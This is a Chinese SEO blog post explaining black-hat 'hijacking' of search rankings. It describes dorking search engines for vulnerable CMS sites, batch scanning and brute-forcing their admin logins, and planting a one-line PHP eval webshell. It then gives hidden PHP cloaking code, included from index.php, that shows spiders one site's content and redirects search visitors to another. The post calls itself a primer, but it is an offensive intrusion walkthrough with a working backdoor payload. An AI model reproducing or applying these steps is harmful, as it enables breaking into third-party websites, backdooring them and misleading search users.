劫持,一种古(guo)老(shi)的黑帽手法,差不多10年的时候就有一票前辈知道这个方法了。
劫持分很多种,流量劫持、快照劫持、PR劫持等,其实前几个步骤都一样,就是最后的脚本写的不一样而已。
因为是劫持别人的站,所以首先要获取劫持站的后台权限,并留下后门,以便日后管理,这个过程就是常说的拿站(webshell)。
被劫持的多是企业站,企业站大多采用开源系统,很多系统因本身的问题存在诸多安全隐患,比如虐心的dede。有些系统的漏洞已经曝光出来,找到这些漏洞的特征和这个漏洞对应的系统,然后去各种渠道搜集使用这个系统的网站,遍历扫描每个站,如果存在这个漏洞,就暴力破解后台账户名和密码。
搜集目标网站,最简单的方法是拿漏洞的特征做关键词到搜索引擎去搜,然后把搜索结果页上的网站全部抓下来。关键词比如:
用户登陆 inurl:admin/login.asp 有限公司--Powered by ASPCMS V2.0 inurl:HomeMarket.asp Powered by DEDECMS ……
然后拿抓下来的这些站去扫漏洞,用很多现成的拿站工具可以完成批量的扫描和破解,然而每个工具不能能覆盖所有漏洞,所以需要交叉使用:
御剑后台扫描 椰树WEB漏洞扫描器 wwwscan GUI版 Web应用安全漏洞检测工具 web扫描工具-WVS Pker多线程后台极速扫描器 Acunetix Web Vulnerability Scanner 8
如果顺利的话,就可以拿到一些站的后台账户及密码,就可以正常登陆了。此时需要留一个后门,在网站后台新建一个php文件,写入一句话木马:<?php eval($_POST['ee']); ?>,通过菜刀(一个非常好用而又强大的webshell管理软件,如“中国菜刀”)添加shell,无异常的话就已经顺利的拿下一个站了。
接下来在后台写入劫持代码,比如要劫持首页,在后台找一个很隐蔽的地方新建一个php文件,写入类似的代码:
- <?php
- $httpuser=strtolower($_SERVER['HTTP_USER_AGENT']);
- if(strstr($httpuser,'Baiduspider') or strstr($httpuser,'Googlebot') or strstr($httpuser,'Sogou web spider')){
- $url=‘http://www.mydomain1.com';$a=file_get_contents($url);echo $a;exit;
- }
- $httpuser=strtolower($_SERVER['HTTP_REFERER']);
- if(strstr($httpuser,'baidu') or strstr($httpuser,'google') or strstr($httpuser,'sogou')){
- $url=‘http://www.mydomain2.com';header("Location:$url");exit;
- }
- ?>
意思很简单,若蜘蛛来访,则抓取 http://www.mydomain1.com的内容;若来路为搜索引擎,则返回http://www.mydomain2.com的内容。之后在首页文件index.php中调用刚才新建的文件:
<?php include(“{新建文件的路径}") ?>
当然,http://www.mydomain1.com 和 http://www.mydomain2.com 可以设为同一个网址。
这就是快照劫持的步骤,被劫持的站,对蜘蛛访问返回http://www.mydomain1.com的内容,对从搜索引擎搜索过来的用户返回http://www.mydomain2.com的内容,若直接输入网站url,则是本来的页面。有些网站管理员只输入url访问网站,index.php也很少关注,所以好长时间才发现已经被劫持了。
有时在百度中搜索某些违禁词,出现一堆政府的网站,点进去是看到各种违禁内容(百度站长平台还专门开了一个“bad case”的帖子专门收集类似的案例),直接输入网址访问,却是正常的内容,若果换一个搜索词从百度点进去,还是正常的内容。这就是在上面劫持代码的基础上,根据referer词来判断是否返回指定页面,现在百度已经取消referer参数了,所以这东西也就随之失效了。
若是PR劫持,就是对蜘蛛301到指定的网站,从而提升权重。有些新站,做了不到3个月,用站长工具一查,好牛逼,权重值都在3往上,但网站本身并没多少内容和收录,这种情况多用此法。
上面仅是科普下劫持原理,仍有大量细节没有展开,比如如何隐蔽踪迹,如何批量管理webshell。如果藏的不是非常隐蔽,基本都会被发现,只是时间长短问题,且作上去的排名都活不了太长时间,说白了,能获得多大效果,取决于能铺多少量,是个耗费精力、时间的力气活。
转载请注明:思享SEO博客 » 黑帽SEO:劫持手法怎么做的